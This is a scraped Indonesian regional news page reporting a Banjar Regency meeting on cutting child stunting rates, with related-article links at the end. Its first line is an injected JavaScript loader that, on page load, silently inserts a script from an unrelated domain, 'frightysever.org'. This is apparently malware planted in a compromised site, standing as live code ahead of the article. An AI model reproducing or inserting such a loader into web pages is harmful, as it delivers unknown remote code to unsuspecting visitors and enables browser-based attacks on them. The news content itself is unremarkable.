(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menegaskan pentingnya kolaborasi antara TP PKK dan instansi terkait lainnya dalam menangani masalah stunting di Kabupaten Banjar.
“Dengan kolaborasi tersebut nantinya dapat menghasilkan program dan kegiatan yang tepat untuk menekan penurunan angka prevalensi stunting yang cukup tinggi di Kabupaten Banjar,” ujar Nurgita saat menjadi narasumber pada Rapat Koordinasi (Rakoor) Tim Percepatan Penurunan Stunting (TPPS).
Kegiatan itu diprakarsai Dinas Sosial Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan Keluarga Berencana (Dinsos P3AP2KB) di Hotel Grand Qin, Selasa (23/4/2024).
Baca juga: Ada Perawatan Booster S Parman PAM Bandarmasih, Ini Wilayah Seret Pasokan Air
Nurgita melanjutkan, peran PKK ke depan untuk mencapai target nasional penurunan stunting menjadi 14 persen salah satunya adalah berperan aktif melakukan edukasi kepada masyarakat tentang pentingnya gizi seimbang dan pola makan yang sehat serta pola asuh anak.
Dia juga mengingatkan bahwa penanganan stunting bukanlah tugas yang dapat dilakukan secara individu, melainkan membutuhkan kerja sama dan komitmen dari semua elemen masyarakat.
Di tempat yang sama, Kepala Dinsos P3AP2KB Banjar Dian Marliana menyebut, berdasar data pada Maret 2023, prevalensi stunting tertinggi di Kabupaten Banjar adalah wilayah Kecamatan Paramasan.
Baca juga: BREAKING NEWS: Maling Motor Tergeletak di Pinggir Jalan Trikora
Sedangkan terkait partisipasi masyarakat hadir di posyandu yang paling rendah juga kecamatan tersebut.
“Sesuai arahan ibu Ketua TP PKK kita akan bergerak bersama seluruh SKPD yang terlibat sesuai tupoksinya masing-masing akan melakukan pelayanan dan pemberian bantuan atau apapun bentuk kegiatannya untuk dapat menurunkan angka stunting di wilayah Kecamatan Paramasan,” ungkap dia.
Rencana untuk menekan penurunan stunting di Kecamatan Paramasan lanjut Dian, menyasar penimbangan di Posyandu pada Mei mendatang untuk data SSGI 2023 yang akan dirilis oleh Kementerian Kesehatan.
Baca juga: Raih Penghargaan Kinerja Terbaik Pengelolaan Dana Desa 2023, Ini Tanggapan Bupati Banjar
Saat ini pihaknya telah melaksanakan rembuk stunting ditingkat kecamatan, dari hasil tersebut kendala apa yang ada di tingkat kecamatan, kelurahan dan desa akan dibahas pada rembuk stunting kabupaten.
“Kendala kita yang paling utama sebenarnya bukan hanya berkaitan dengan pemberian makanan tetapi juga pola asuh dan perilaku hidup bersih dan sehat (PHBS),” pungkas dia.(kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More
Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More
KANALKALIMANTAN.COM, MARTAPURA - Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi, membuka rapat dengan agenda Pembahasan Proses Bisnis… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah di depan mata. Masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan ekplorasi dan penilaian… Read More
This website uses cookies.